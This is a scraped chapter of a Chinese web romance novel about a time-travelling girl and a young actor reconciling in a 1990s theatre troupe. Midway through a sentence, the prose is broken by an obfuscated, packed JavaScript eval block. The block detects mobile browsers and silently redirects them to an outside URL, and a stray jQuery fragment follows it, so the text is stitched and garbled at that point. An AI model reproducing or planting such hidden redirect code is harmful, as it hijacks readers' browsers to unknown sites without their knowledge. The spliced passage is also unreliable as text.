55. 释怀

作品:《重回九零:和影帝同桌的日子

    排练结束后,话剧团的人陆续离开,空荡荡的大厅只剩下零星几盏昏黄的灯。林溪准备离开时,发现门口放着一束野菊花,花瓣上的露珠还未蒸发,散发出淡淡的清香。她愣了一下,随即认出这是陆泽言送的。


    蹲下身,她轻轻拾起那束花,发现下面压着一张折叠整齐的纸条。打开一看,上面只有短短一句话:“如果还有机会,请让我证明。”


    林溪握着纸条的手微微颤抖,鼻尖一阵酸涩。她知道,这是陆泽言最后的恳求,也是他为这段关系所做的努力。然而,她心底的裂缝已经太深,那些关于21世纪的记忆和苏晓晓的身影如同两座大山,压得她喘不过气来。


    夜风从半开的窗户吹进来,掀动桌上的乐谱,发出轻微的沙沙声。林溪抬头望向窗外,天边的月亮被云层遮住,只露出模糊的一角。她闭上眼睛,深吸了一口气,试图平复内心的波澜,却发现自己根本无处可逃。


    舞台上的拥抱还带着雪花道具的凉意,却烫得林溪眼眶发酸。陆泽言的军靴踩在她的裙摆上,像青溪镇雨后泥路上的鞋印,莽撞里藏着小心翼翼的温柔。导演在台下举着喇叭喊“继续排练”,张叔却挥挥手把他拦下,戏服上的雪花道具簌簌落在陆泽言的军帽上:“给年轻人十分钟,好戏不怕晚,感情的戏尤其如此。”


    老道具师从储藏室搬来两把折叠椅,椅面还沾着上次演出的彩纸屑,像撒了把星星。他手里端着个搪瓷缸,里面泡着野山茶,茶叶在热水里舒展。


    陆泽言把林溪按在椅子上,自己却不肯坐,蹲在她面前,军帽歪在脑后,露出额前被汗水浸湿的碎发,像个犯了错等着挨训的新兵蛋子。


    “对不起。”他先开了口,声音比念“诀别”台词时还哑,像是被边关的风沙磨过,“我没早点告诉你,苏晓晓……她确实缠了我很久。”他从军装口袋里掏出个皱巴巴的信封,边角都被揉得起了毛,封口的火漆印还完好无损,“你看,我连看都没看,原封不动给你带来了。”


    林溪捏着那封情书,纸质滑溜溜的,是城里姑娘爱用的进口信纸,不像陆泽言给她写信用的糙纸,青溪镇供销社买的稿纸,边缘总带着点毛边,却吸墨,能把他的字迹映得格外清晰。她想起21世纪在娱乐周刊上看到的照片,苏晓晓穿着精致的公主裙,站在领奖台上的陆泽言身边,记者说“郎才女貌,天作之合”。


    而自己呢?不过是个带着21世纪记忆的闯入者,心里的不安,趁她不注意就悄悄冒了头,缠得她有点喘不过气。


    “不是因为她。”林溪终于开口,声音轻得像琴键上的泛音,稍不留意就会消散在排练厅的喧嚣里,“是我自己……我总怕。”怕什么?怕21世纪的轨迹像无形的手,把他们往不同的方向推;怕他站得越来越高,舞台的聚光灯会让他看不清台下的自己;怕这偷来的幸福其实是易碎的玻璃,迟早要在某个不经意的瞬间摔得粉碎。


    陆泽言的眉头拧成了疙瘩,像解不开的战术图,又像他给她讲过的边关绳结:“怕什么?怕我跑了?”他突然笑了,露出两颗小虎牙,是青溪镇少年时的模样,那笑容能把冬天的积雪都融化,“我跑哪儿去?你在的地方,才是我的家。青溪镇是,京城也是。”


    他伸手想碰她的头发,指尖在离发梢还有半寸的地方突然停住,又猛地缩回去,像怕惊扰了琴房窗台上那盆沈曼青寄来的茉莉。“是不是我哪里做得不好?”他的声音低了下去,像犯了错的孩子,“我知道我嘴笨,不会说苏晓晓那样的甜言蜜语,也没钱给你买她穿的那种连衣裙……上次看到条蓝碎花的,要三个月工资,我还在攒……”


    “不是的!”林溪打断他,眼泪突然掉下来,砸在他的军靴上,像颗小石子,在锃亮的鞋面上溅开细小的水花,“你给我的,比谁都多。”她想起图书馆里的手电筒光,他把唯一的电池让给她做题;想起盼星湖边的烤红薯,他把流油的那半塞给她,自己啃带焦皮的。


    陆泽言慌了,伸手去擦她的眼泪,指尖粗糙得像树皮,那是在杂货铺搬东西磨出来的茧子,却比任何丝绸都温柔。“别哭啊,”他急得像热锅上的蚂蚁,手忙脚乱地掏遍所有口袋,只摸出块皱巴巴的手帕,是林溪给他绣的,“你一哭,我就慌了神,连台词都忘了。”


    林溪被他逗笑了,抽噎着,眼泪却掉得更凶,像青溪镇梅雨季的雨,又酸又热。“我怕……我怕你会喜欢上别人。”这句话在心里藏了太久,像琴键下的灰尘,终于被风吹了出来,带着点难堪,却无比真实。她不敢说21世纪的事,只能把所有的不安,都归结成这句最普通的顾虑,像把锋利的刀,既割着自己,也割着眼前这个爱她至深的人。


    陆泽言愣住了,像被按了暂停键的录音机,连呼吸都停了半秒。他张了张嘴,想说什么,又停住了,突然伸手把她揽进怀里,力道大得像要把她嵌进自己的骨缝里,让两人的心跳都撞成一个节拍。“傻瓜。”他的声音闷闷的,从胸腔里传出来,带着震耳的暖意,像青溪镇冬天的火炉,“我这辈子,就认准你了。从开学时你把你的吃的分给我时就认准了,比认准要当演员还坚定。”


    他从军装内袋里掏出个小盒,盒子打开,里面躺着枚红绳编的戒指,中间串着颗青溪镇的鹅卵石,被摩挲得发亮,像浸在月光里养了多年。“本来想找个浪漫的地方给你,”他挠挠头,耳尖红得像熟透的樱桃,“比如盼星湖可现在看来,在哪儿都一样,只要是你就好。”他执起她的手,把戒指套在她无名指上,大小刚刚好,像为她量身定做的,红绳贴着皮肤,暖得像他的体温。


    “这石头,”他用指腹摩挲着戒指上的纹路,眼神温柔得能滴出水,“我在青溪镇河边磨了三个月,每天收工就去磨,手心磨出了茧子,才磨成你名字的形状。”他指着石头上模糊的刻痕,像在展示什么稀世珍宝,“你看,这是‘溪’字的三点水,这是‘溪’字的右半部分,虽然刻得不好看,但都是我一点点磨出来的。”


    林溪的手指抚过那些凹凸的刻痕,突然想起高三那年,陆泽言在草稿纸背面给她画的钢琴键,白键用铅笔涂得浅浅的,黑键描得重重的,也是这样笨拙却认真。原来有些温柔,从一开始就刻在了骨子里,从来没变过,像青溪镇的老槐树,根扎得深,就不会被任何风雨吹倒。


    “加演的十场,”陆泽言突然说,眼睛亮得像舞台的聚光灯,把他的真心照得一览无余,“我想在谢幕时,让你上台。我们一起鞠躬,告诉所有人,这出戏,是我们一起完成的,少了谁都不行。”


    林溪摇摇头,把戒指往袖口里藏了藏,指尖还能感受到石头的温度。“我看着你就够了。”她不是不喜欢热闹,只是怕站在他身边,会被人指指点点——像林浩担心的那样,“他现在什么都没有,你跟着他只会吃苦”;像21世纪报道暗示的那样,“影帝身边的位置,终究不属于平凡女孩”。


    陆泽言看穿了她的心思,“明天我有东西给你看。”他卖了个关子,军靴在地上蹭了蹭,带起些微的灰尘,像藏着什么天大的秘密,眼里的期待却藏不住,像个等着给同伴惊喜的孩子。


    第二天一早,天刚蒙蒙亮,林溪的琴房窗户就被轻轻敲响了。她拉开窗帘,看见陆泽言骑着辆二八大杠自行车站在楼下,车是话剧团张叔的,除了铃铛不响哪儿都响,车后座却绑着个厚厚的棉垫,是他从炊事班借的,上面


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16308355|180507||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    还印着“为人民服务”的红字。“上来。”他仰着头冲她笑,军帽戴得端端正正,却掩不住眼底的兴奋。


    林溪刚坐稳,他就递过来个头盔,是话剧团道具组用的,塑料外壳上还贴着“士兵陆泽言”的标签,边缘磕掉了块漆,是上次排“炸碉堡”戏时被道具炸药炸的。“安全第一。”他的声音从前面传来,带着点小得意,“我昨天练了一晚上骑车,绕着话剧团骑了二十圈,保证不颠着你。”


    自行车穿过音乐学院的林荫道,林溪抱着陆泽言的腰,闻到他衬衫上的皂角香。


    话剧团的角落里,搭了一小块新的布景,林溪走近了才发现,搭的是一棵巨大的老槐树,树干上缠着红绸带,是陆泽言连夜用红布剪的,歪歪扭扭的,却红得耀眼。张叔拿着刷子给树叶刷绿漆,看到他们进来,笑着直起身:“你们来啦,那我这个老家伙就不打扰了。”


    陆泽言的耳尖红了红,把林溪拉到布景前,指着槐树下的石凳:“你看,像不像青溪镇门口的那个?”林溪的眼眶热了。


    苏晓晓抱着道具路过,怀里的雪花机零件叮当作响。看到这一幕,她的脚步顿了顿,随即笑着走过来,麻花辫上的红绸子晃了晃,像在跟过去告别。“陆哥,林溪姐。”她的语气里没了之前的娇嗲,多了份坦荡,像雨后的天空,清澈得很,“之前的事,对不起,是我太任性了,把喜欢当成了理所当然。”


    林溪没想到她会道歉,愣了一下才说:“没关系。”心里那点因21世纪报道而起的芥蒂,像被阳光晒化的雪,悄悄消融了。


    苏晓晓从帆布包里掏出张机票,蓝色的,像京城的天空:“我要回上海了,家里给我找了家剧院,下周就走。”她看了眼陆泽言,眼神里有释然,也有祝福,“祝你……和林溪姐越来越好,像这槐树,扎根,发芽,长成别人拆不散的模样。”说完,她转身就走,麻花辫在身后甩得笔直,像在跟这段短暂的单恋郑重告别,脚步轻快得像要飞起来。


    陆泽言看着她的背影,轻轻叹了口气:“其实她人不坏,就是被家里宠坏了。”


    林溪没说话,只是把他的手抓得更紧了。阳光透过排练厅的高窗照进来,落在青溪镇的布景上,给老槐树的叶子镀上了层金边,像给那段青涩的时光,盖上了层温暖的印章。


    晚上,陆泽言带林溪去了夜市。霓虹灯下,他给她买了串冰糖葫芦,山楂上的糖衣脆得像玻璃,咬下去“咔嚓”响,甜得恰到好处,不齁人。“明天团里有个联欢会,”他突然说,啃着手里的烤红薯,热气模糊了他的眼镜片,“导演说要带家属,你……”


    “我去。”林溪打断他,声音比冰糖葫芦还脆,带着种前所未有的坚定。


    陆泽言的眼睛瞬间亮了,像点亮了整个夜市的灯,连睫毛上沾的烤红薯碎屑都闪着光。他突然蹲下来,把烤红薯的皮剥得干干净净,递到她嘴边,热气拂过她的脸颊,暖得像他的目光:“快吃,凉了就不好吃了,烤红薯都得趁热吃。”


    林溪咬了口红薯,甜丝丝的暖流从喉咙一直淌到心里。她知道,有些心结,就像烤红薯的皮,看着坚硬,其实轻轻一剥就掉了。而真正重要的,是藏在里面的,热乎乎的真心,像陆泽言给她的爱,笨拙,却滚烫,能抵御所有的风雪和不安。


    话剧团的联欢会比首演后台还要热闹,道具组的小伙子们用皱纹纸糊了个两人高的灯笼,红绸子穗子垂到膝盖,通电时暖黄的光从纸缝里漏出来,把每个人的脸都映得像熟透的苹果。陆泽言穿了件新的文化衫,胸前印着“青春无悔”四个烫金大字,是李婷托人从广州捎来的,四个人每人一件,袖口还别着林溪送他的吉他拨片,银闪闪的。